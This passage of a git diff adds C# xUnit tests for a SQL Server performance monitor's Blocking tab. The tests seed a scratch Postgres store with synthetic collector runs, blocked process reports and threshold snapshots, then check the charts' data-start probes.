+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(XeMidwayServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(XeMidwayServerId, DmvCollector, store.End.AddDays(-40), store.End, ct);
+        await store.InsertDmvSnapshotsAsync(XeMidwayServerId, store.Start, store.End, TimeSpan.FromHours(6), ct);
+        await store.LogRunsAsync(XeMidwayServerId, XeCollector, store.End.AddDays(-3), store.End, ct);
+        await store.InsertXeReportsAsync(XeMidwayServerId, store.End.AddDays(-3).AddHours(6), store.End, store.End.AddDays(-3), ct);
+
+        var gridProbe = await store.Viewer.GetBlockedProcessReportsDataStartAsync(XeMidwayServerId, store.Start, store.End, ct);
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(XeMidwayServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.False(RawWindowFloor.IsTruncated(gridProbe, store.Start));
+        Assert.Equal(store.End.AddDays(-3), chartsProbe);
+    }
+
+    /* No XE report in the window: the charts' probe is the two-source probe, as before. */
+    [Fact]
+    public async Task TheChartsProbe_WithNoXeReportInTheWindow_IsTheGridProbe_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(ChartsDmvOnlyServerId, store.End.AddDays(-2), ct);
+        await store.LogRunsAsync(ChartsDmvOnlyServerId, DmvCollector, store.End.AddDays(-2), store.End, ct);
+        await store.InsertDmvSnapshotsAsync(ChartsDmvOnlyServerId, store.End.AddDays(-2).AddHours(3), store.End, TimeSpan.FromHours(6), ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(ChartsDmvOnlyServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.Equal(store.End.AddDays(-2), chartsProbe);
+        Assert.Equal(await store.Viewer.GetBlockedProcessReportsDataStartAsync(ChartsDmvOnlyServerId, store.Start, store.End, ct), chartsProbe);
+    }
+
+    /* The XE collector covers the whole range: the charts' probe reads covered. */
+    [Fact]
+    public async Task TheChartsProbe_WithXeCoveringTheWholeWindow_ReadsCovered_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(XeWholeWindowServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(XeWholeWindowServerId, XeCollector, store.End.AddDays(-40), store.End, ct);
+        await store.InsertXeReportsAsync(XeWholeWindowServerId, store.Start.AddHours(5), store.End, store.End.AddDays(-40), ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(XeWholeWindowServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.NotNull(chartsProbe);
+        Assert.False(RawWindowFloor.IsTruncated(chartsProbe, store.Start));
+    }
+
+    /* An XE report carries its own event time, which can come before the collector's first run (the first collection stores
+       history): the charts' probe names the earlier of the two, as the grid does. */
+    [Fact]
+    public async Task TheChartsProbe_NamesTheEarliestReport_WhereItComesBeforeTheXeCollectorsFirstRun_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(XeHistoryServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(XeHistoryServerId, XeCollector, store.End.AddDays(-3), store.End, ct);
+        await store.InsertXeReportsAsync(XeHistoryServerId, store.End.AddDays(-5), store.End, store.End.AddDays(-3), ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(XeHistoryServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.Equal(store.End.AddDays(-5), chartsProbe);
+    }
+
+    /* A window that starts before the collection log's horizon (CollectionLogRetentionDays back) cannot be proven by the run log:
+       its oldest run is the purge edge. The store's clock is the real one (the horizon reads UtcNow), so the range is sized from
+       it: it ends 55 days ago and starts 62 days ago, two days before the 60-day horizon, which a test run's few minutes cannot
+       cross. The charts' probe must answer the XE table rule, not a notice naming the purge edge. */
+    [Fact]
+    public async Task TheChartsProbe_ForAWindowBeforeTheLogHorizon_AnswersTheTableRule_NotThePurgeEdge_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 55, ct);
+
+        await store.AddServerAsync(BeforeLogHorizonServerId, store.End.AddDays(-100), ct);
+        await store.LogRunsAsync(BeforeLogHorizonServerId, XeCollector, store.End.AddDays(-4), store.End, ct);
+        await store.InsertXeReportsAsync(BeforeLogHorizonServerId, store.Start.AddHours(5), store.End, store.Start.AddHours(5), ct);
+
+        await using var dataSource = NpgsqlDataSource.Create(store.ConnectionString);
+        var tableRule = await DataWindowFloor.GetForServerAsync(
+            dataSource, DataWindowFloor.Source.ForCollectorTable("blocked_process_reports"), BeforeLogHorizonServerId, store.Start, store.End, 30, ct);
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(BeforeLogHorizonServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.Equal(tableRule, chartsProbe);
+        Assert.NotEqual(store.End.AddDays(-4), chartsProbe);
+    }
+
+    /* #5098: the threshold went on midway. The collector ran the whole range, the daily server_config snapshots read 0 until the
+       fourth day back and 5 from then, and the first report is later still: the zeros before the first nonzero snapshot are not
+       coverage, so the note names that snapshot. */
+    [Fact]
+    public async Task TheChartsProbe_NamesTheFirstNonzeroThresholdSnapshot_WhereTheThresholdWentOnMidway_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(ThresholdMidwayServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(ThresholdMidwayServerId, XeCollector, store.End.AddDays(-10), store.End, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdMidwayServerId, store.End.AddDays(-10), store.End.AddDays(-5), 0, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdMidwayServerId, store.End.AddDays(-4), store.End, 5, ct);
+        await store.InsertXeReportsAsync(ThresholdMidwayServerId, store.End.AddDays(-3).AddHours(-12), store.End, store.End.AddDays(-3), ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(ThresholdMidwayServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.Equal(store.End.AddDays(-4), chartsProbe);
+    }
+
+    /* A report proves its own time was covered: one before the first nonzero snapshot (the snapshots are a day apart) is the answer. */
+    [Fact]
+    public async Task TheChartsProbe_NamesTheReport_WhereItComesBeforeTheFirstNonzeroThresholdSnapshot_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(ThresholdReportFirstServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(ThresholdReportFirstServerId, XeCollector, store.End.AddDays(-10), store.End, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdReportFirstServerId, store.End.AddDays(-10), store.End.AddDays(-5), 0, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdReportFirstServerId, store.End.AddDays(-4), store.End, 5, ct);
+        await store.InsertXeReportsAsync(ThresholdReportFirstServerId, store.End.AddDays(-4).AddHours(-12), store.End, store.End.AddDays(-4).AddHours(-12), ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(ThresholdReportFirstServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.Equal(store.End.AddDays(-4).AddHours(-12), chartsProbe);
+    }
+
+    /* The threshold was already on before the window: the answer is the collector's, covered, as before. */
+    [Fact]
+    public async Task TheChartsProbe_WithTheThresholdOnBeforeTheWindow_ReadsCovered_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(ThresholdOnBeforeServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(ThresholdOnBeforeServerId, XeCollector, store.End.AddDays(-10), store.End, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdOnBeforeServerId, store.End.AddDays(-10), store.End, 5, ct);
+        await store.InsertXeReportsAsync(ThresholdOnBeforeServerId, store.Start.AddHours(5), store.End, store.End.AddDays(-10), ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(ThresholdOnBeforeServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.NotNull(chartsProbe);
+        Assert.False(RawWindowFloor.IsTruncated(chartsProbe, store.Start));
+    }
+
+    /* Nonzero snapshots inside the window, none before it, and no zero ever read: the earlier snapshots may be purged or were never taken,
+       so the threshold's start is unknown, not late. The answer is the collector's coverage, covered. */
+    [Fact]
+    public async Task TheChartsProbe_WithNonzeroSnapshotsInTheWindowAndNoZeroSeen_ReadsCovered_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(ThresholdNoZeroSeenServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(ThresholdNoZeroSeenServerId, XeCollector, store.End.AddDays(-10), store.End, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdNoZeroSeenServerId, store.End.AddDays(-4), store.End, 5, ct);
+        await store.InsertXeReportsAsync(ThresholdNoZeroSeenServerId, store.End.AddDays(-3), store.End, store.End.AddDays(-10), ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(ThresholdNoZeroSeenServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.NotNull(chartsProbe);
+        Assert.False(RawWindowFloor.IsTruncated(chartsProbe, store.Start));
+    }
+
+    /* The threshold read 5 and then 0 with no earlier snapshot: it was on and later turned off, which is not a late start. The zero
+       dated after the first nonzero snapshot does not count, so the answer stays the collector's, covered. */
+    [Fact]
+    public async Task TheChartsProbe_WithAZeroSnapshotAfterTheFirstNonzeroOne_IsNotALateStart_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(ThresholdTurnedOffServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(ThresholdTurnedOffServerId, XeCollector, store.End.AddDays(-10), store.End, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdTurnedOffServerId, store.End.AddDays(-6), store.End.AddDays(-4), 5, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdTurnedOffServerId, store.End.AddDays(-3), store.End, 0, ct);
+        await store.InsertXeReportsAsync(ThresholdTurnedOffServerId, store.End.AddDays(-5), store.End.AddDays(-4), store.End.AddDays(-10), ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(ThresholdTurnedOffServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.NotNull(chartsProbe);
+        Assert.False(RawWindowFloor.IsTruncated(chartsProbe, store.Start));
+    }
+
+    /* No server_config rows (Azure SQL DB, the collector off, purged history): the answer is #5159's, the collector's coverage. */
+    [Fact]
+    public async Task TheChartsProbe_WithNoThresholdSnapshots_IsTheCollectorsCoverage_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(ThresholdNoRowsServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(ThresholdNoRowsServerId, XeCollector, store.End.AddDays(-3), store.End, ct);
+        await store.InsertXeReportsAsync(ThresholdNoRowsServerId, store.End.AddDays(-2), store.End, store.End.AddDays(-3), ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(ThresholdNoRowsServerId, store.Start, store.End, cancellationToken: ct);
+
+        Assert.Equal(store.End.AddDays(-3), chartsProbe);
+    }
+
+    /* No report in the window: the charts draw the DMV snapshots, so the threshold history does not apply and the grid probe answers. */
+    [Fact]
+    public async Task TheChartsProbe_WithNoXeReportInTheWindow_IgnoresTheThresholdHistory_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(ThresholdDmvServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(ThresholdDmvServerId, DmvCollector, store.End.AddDays(-40), store.End, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdDmvServerId, store.End.AddDays(-10), store.End.AddDays(-5), 0, ct);
+        await store.InsertThresholdSnapshotsAsync(ThresholdDmvServerId, store.End.AddDays(-4), store.End, 5, ct);
+
+        var chartsProbe = await store.Viewer.GetBlockingChartDataStartAsync(ThresholdDmvServerId, store.Start, store.End, cancellationToken: ct);
+        var gridProbe = await store.Viewer.GetBlockedProcessReportsDataStartAsync(ThresholdDmvServerId, store.Start, store.End, ct);
+
+        /* Both answers read the server's registration clock on this branch; a second apart is the same answer. */
+        Assert.NotNull(chartsProbe);
+        Assert.True(Math.Abs((chartsProbe.Value - gridProbe!.Value).TotalSeconds) < 1, $"grid {gridProbe:O} charts {chartsProbe:O}");
+    }
+
+    /* characterization: this pins today's ForCollectorRuns answer; update it when that probe reads first runs. */
+    /* The shared run-log probe (DataWindowFloor.Source.ForCollectorRuns) for an XE collector whose runs reach back before the
+       window answers covered: at or before the window's start. For runs that begin midway it answers the server's registration
+       instead, which is why the charts' probe reads the collector's first run itself. */
+    [Fact]
+    public async Task TheSharedRunLogProbe_ForXeRunsBeforeTheWindow_ReadsCovered_AndForRunsMidway_ReadsTheRegistration_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(XeRunsBeforeWindowServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(XeRunsBeforeWindowServerId, XeCollector, store.End.AddDays(-20), store.End, ct);
+        await store.AddServerAsync(XeMidwayServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(XeMidwayServerId, XeCollector, store.End.AddDays(-3), store.End, ct);
+
+        await using var dataSource = NpgsqlDataSource.Create(store.ConnectionString);
+        var source = DataWindowFloor.Source.ForCollectorRuns(XeCollector);
+        var before = await DataWindowFloor.GetForServerAsync(dataSource, source, XeRunsBeforeWindowServerId, store.Start, store.End, 30, ct);
+        var midway = await DataWindowFloor.GetForServerAsync(dataSource, source, XeMidwayServerId, store.Start, store.End, 30, ct);
+
+        Assert.NotNull(before);
+        Assert.False(RawWindowFloor.IsTruncated(before, store.Start));
+        Assert.Equal(store.End.AddDays(-40), midway);
+    }
+
+    private static string Since(DateTime utc) =>
+        "Showing since " + utc.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        private Store(ScratchPostgres scratch, ViewerDataService viewer, DateTime end)
+        {
+            _scratch = scratch;
+            Viewer = viewer;
+            End = end;
+        }
+
+        public ViewerDataService Viewer { get; }
+
+        public string ConnectionString => _scratch.ConnectionString;
+
+        /// <summary>The end of the 7-day range every test reads, to the minute.</summary>
+        public DateTime End { get; }
+
+        public DateTime Start => End.AddDays(-7);
+
+        public static async Task<Store> CreateAsync(int rangeEndsDaysAgo, CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live Blocked Process Reports coverage tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+                }
+
+                var now = DateTime.UtcNow.AddDays(-rangeEndsDaysAgo);
+                var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                return new Store(scratch, new ViewerDataService(scratch.ConnectionString), end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /// <summary>
+        /// The banner the server tab raises for the grid over the range: the coverage probe and the merged read it starts
+        /// beside, handed to the shared function the tab hands them to, with the cap arguments the tab passes. Null when hidden.
+        /// </summary>
+        public async Task<string?> BannerAsync(int serverId, CancellationToken ct)
+        {
+            var probe = Viewer.GetBlockedProcessReportsDataStartAsync(serverId, Start, End, ct);
+            var read = await Viewer.ReadRecentBlockedProcessReportsAsync(serverId, Start, End, cancellationToken: ct);
+            await probe.WaitAsync(ct);
+
+            string? text = null;
+            StaTestThread.Run(() =>
+            {
+                ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+                /* Seeded visible, so a no-op cannot pass as a hidden banner. */
+                var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+                ViewerServerTab.ShowEventDataStartAsync(
+                    banner, probe, "Blocked Process Reports", Start, read.Rows.Select(r => r.EventTime),
+                    ViewerDataService.BlockedProcessReportsRowCap, read.CappedSourceStartUtc).GetAwaiter().GetResult();
+
+                text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+            });
+            return text;
+        }
+
+        /* The registry row (created_date: the server's first successful connect). */
+        public async Task AddServerAsync(int serverId, DateTime addedUtc, CancellationToken ct)
+        {
+            await using var connection = await OpenAsync(ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, ServerName(serverId), ct);
+
+            await using var update = new NpgsqlCommand("UPDATE collect.servers SET created_date = $2 WHERE server_id = $1", connection);
+            update.Parameters.AddWithValue(serverId);
+            update.Parameters.AddWithValue(Naive(addedUtc));
+            await update.ExecuteNonQueryAsync(ct);
+        }
+
+        /* The collector's runs from fromUtc to toUtc, every 30 minutes, whether or not anything happened. */
+        public async Task LogRunsAsync(int serverId, string collector, DateTime fromUtc, DateTime toUtc, CancellationToken ct)
+        {
+            await using var connection = await OpenAsync(ct);
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.collection_log
+    (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT
+    row_number() OVER () + $6,
+    $1,
+    $2,
+    $5,
+    t,
+    12,
+    'SUCCESS',
+    0
+FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(ServerName(serverId));
+            insert.Parameters.AddWithValue(Naive(fromUtc));
+            insert.Parameters.AddWithValue(Naive(toUtc));
+            insert.Parameters.AddWithValue(collector);
+            insert.Parameters.AddWithValue(-(long)serverId * 1000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        /* One XE report every 6 hours from firstUtc to lastUtc, all collected at collectedAtUtc (a first collection storing history). */
+        public async Task InsertXeReportsAsync(int serverId, DateTime firstUtc, DateTime lastUtc, DateTime collectedAtUtc, CancellationToken ct)
+        {
+            await using var connection = await OpenAsync(ct);
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms)
+SELECT
+    row_number() OVER () + $6,
+    $5::timestamp,
+    $1,
+    $2,
+    t,
+    'EventDb',
+    55,
+    56,
+    1000
+FROM generate_series($3::timestamp, $4::timestamp, interval '6 hours') AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(ServerName(serverId));
+            insert.Parameters.AddWithValue(Naive(firstUtc));
+            insert.Parameters.AddWithValue(Naive(lastUtc));
+            insert.Parameters.AddWithValue(Naive(collectedAtUtc));
+            insert.Parameters.AddWithValue(-(long)serverId * 1000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        /* One daily server_config snapshot of the blocked process threshold from firstUtc to lastUtc, all reading the given value. */
+        public async Task InsertThresholdSnapshotsAsync(int serverId, DateTime firstUtc, DateTime lastUtc, int value, CancellationToken ct)
+        {
+            await using var connection = await OpenAsync(ct);
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.server_config
+    (config_id, capture_time, server_id, server_name, configuration_name, value_configured, value_in_use, is_dynamic, is_advanced)
+SELECT
+    row_number() OVER () + $6 + $5 * 100000,
+    t,
+    $1,
+    $2,
+    'blocked process threshold (s)',
+    $5,
+    $5,
+    TRUE,
+    TRUE
+FROM generate_series($3::timestamp, $4::timestamp, interval '1 day') AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(ServerName(serverId));
+            insert.Parameters.AddWithValue(Naive(firstUtc));
+            insert.Parameters.AddWithValue(Naive(lastUtc));
+            insert.Parameters.AddWithValue(value);
+            insert.Parameters.AddWithValue(-(long)serverId * 1000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        /* One DMV blocking snapshot row of the same SPID pair at each step from firstUtc to lastUtc, its event time the collection time (the snapshot collector stamps the two alike). */
+        public async Task InsertDmvSnapshotsAsync(int serverId, DateTime firstUtc, DateTime lastUtc, TimeSpan step, CancellationToken ct)
+        {
+            await using var connection = await OpenAsync(ct);
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.dmv_blocking_snapshots
+    (collection_id, collection_time, server_id, server_name, event_time, database_name,
+     blocked_spid, blocking_spid, wait_time_ms, lock_mode, blocking_status,
+     blocked_sql_text, blocking_sql_text, contentious_object)
+SELECT
+    row_number() OVER (ORDER BY t) + $6,
+    t,
+    $1,
+    $2,
+    t,
+    'AppDb',
+    55,
+    56,
+    900,
+    'S',
+    'running',
+    'SELECT 2',
+    'UPDATE t SET c = 2',
+    'dbo.t'
+FROM generate_series($3::timestamp, $4::timestamp, $5::interval) AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(ServerName(serverId));
+            insert.Parameters.AddWithValue(Naive(firstUtc));
+            insert.Parameters.AddWithValue(Naive(lastUtc));
+            insert.Parameters.AddWithValue(step);
+            insert.Parameters.AddWithValue(-(long)serverId * 1000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        /* The oldest event time among the newest rows the DMV read keeps, worked out here from the table, not from the read. */
+        public async Task<DateTime> OldestOfNewestDmvRowsAsync(int serverId, int rowCap, CancellationToken ct)
+        {
+            await using var connection = await OpenAsync(ct);
+            await using var select = new NpgsqlCommand(
+                $"SELECT MIN(event_time) FROM (SELECT event_time FROM collect.dmv_blocking_snapshots WHERE server_id = $1 ORDER BY event_time DESC LIMIT {rowCap}) AS newest",
+                connection);
+            select.Parameters.AddWithValue(serverId);
+            return (DateTime)(await select.ExecuteScalarAsync(ct))!;
+        }
+
+        private async Task<NpgsqlConnection> OpenAsync(CancellationToken ct)
+        {
+            var connection = new NpgsqlConnection(_scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            return connection;
+        }
+
+        private static string ServerName(int serverId) => $"bpr-coverage-{-serverId}";
+
+        /* SpecifyKind(Unspecified), not the bare value: Npgsql infers timestamptz from Kind=Utc and PostgreSQL then zone-shifts the bounds against the store's NAIVE timestamp columns. */
+        private static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+        public async ValueTask DisposeAsync()
+        {
+            await Viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+
+    /* WPF objects require STA; same shape as ViewerEventDataStartTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerBlockingChartsDataStartLiveTests.cs b/Darling/Darling.Tests/ViewerBlockingChartsDataStartLiveTests.cs
new file mode 100644
index 0000000000..2ee3971e43
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerBlockingChartsDataStartLiveTests.cs
@@ -0,0 +1,85 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Blocking tab's chart floors against a real store (#4966): the viewer's own data-start reads for blocked process reports,
+/// deadlocks and wait_stats, over a server added 2 days ago whose first event came a day later.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE and drop its own scratch database. */
+public sealed class ViewerBlockingChartsDataStartLiveTests
+{
+    private const int ServerId = -496701;
+    private const string ServerName = "blocking-charts-new";
+
+    [Fact]
+    public async Task TheFloors_NameTheDayTheCollectorsStarted_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string.");
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var now = DateTime.UtcNow;
+        var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            await Exec(connection, "UPDATE collect.servers SET created_date = $1 WHERE server_id = $2", ct, Naive(end.AddDays(-2)), ServerId);
+            long id = 1;
+            foreach (var collector in new[] { "blocked_process_report", "deadlocks", "wait_stats" })
+            {
+                await Exec(connection,
+                    "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) " +
+                    "SELECT row_number() OVER () + $5, $1, $2, $3, t, 12, 'SUCCESS', 0 FROM generate_series($4::timestamp, $6::timestamp, interval '30 minutes') AS t",
+                    ct, ServerId, ServerName, collector, Naive(end.AddDays(-2)), id * 100000L, Naive(end));
+                id++;
+            }
+
+            await Exec(connection,
+                "INSERT INTO collect.blocked_process_reports (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms) " +
+                "VALUES (1, $1, $2, $3, $1, 'EventDb', 55, 56, 1000)", ct, Naive(end.AddDays(-1)), ServerId, ServerName);
+            await Exec(connection,
+                "INSERT INTO collect.deadlocks (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml) " +
+                "VALUES (1, $1, $2, $3, $1, 'process1', 'SELECT 1', '<deadlock />')", ct, Naive(end.AddDays(-1)), ServerId, ServerName);
+        }
+
+        await using var viewer = new ViewerDataService(scratch.ConnectionString);
+        var start = end.AddDays(-7);
+
+        Assert.Equal(end.AddDays(-2), await viewer.GetBlockedProcessReportsDataStartAsync(ServerId, start, end, ct));
+        Assert.Equal(end.AddDays(-2), await viewer.GetDeadlocksDataStartAsync(ServerId, start, end, ct));
+        Assert.Equal(end.AddDays(-2), await viewer.GetLockWaitTrendDataStartAsync(ServerId, start, end, ct));
+        /* A window of 90 minutes or less runs no probe. */
+        Assert.Null(await viewer.GetLockWaitTrendDataStartAsync(ServerId, end.AddMinutes(-60), end, ct));
+    }
+
+    private static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+    private static async Task Exec(NpgsqlConnection connection, string sql, CancellationToken ct, params object[] args)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        foreach (var arg in args)
+        {
+            command.Parameters.AddWithValue(arg);
+        }
+
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerBlockingChartsDataStartPinTests.cs b/Darling/Darling.Tests/ViewerBlockingChartsDataStartPinTests.cs
new file mode 100644
index 0000000000..827d5e1525
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerBlockingChartsDataStartPinTests.cs
@@ -0,0 +1,88 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// How the Blocking tab's Trends and Blocking Stats charts are wired to say where their data starts (#4966): one probe per floor, started
+/// beside the reads and kept out of any join, one banner per floor, each fed from its own floor, and the fan-out width declared.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ViewerBlockingChartsDataStartPinTests
+{
+    private static string Tab => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.Blocking.cs").ReplaceLineEndings("\n");
+
+    private static string Xaml => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml").ReplaceLineEndings("\n");
+
+    private static string Case(string name)
+    {
+        var load = Tab[Tab.IndexOf("private async Task LoadBlockingAsync()", StringComparison.Ordinal)..];
+        var start = load.IndexOf($"case {name}:", StringComparison.Ordinal);
+        Assert.True(start >= 0, name);
+        var end = load.IndexOf("            case ", start + 10, StringComparison.Ordinal);
+        return load[start..end];
+    }
+
+    [Fact]
+    public void Trends_ProbesEachFloor_OutsideAnyJoin_AndFeedsEachBannerFromItsOwnProbe()
+    {
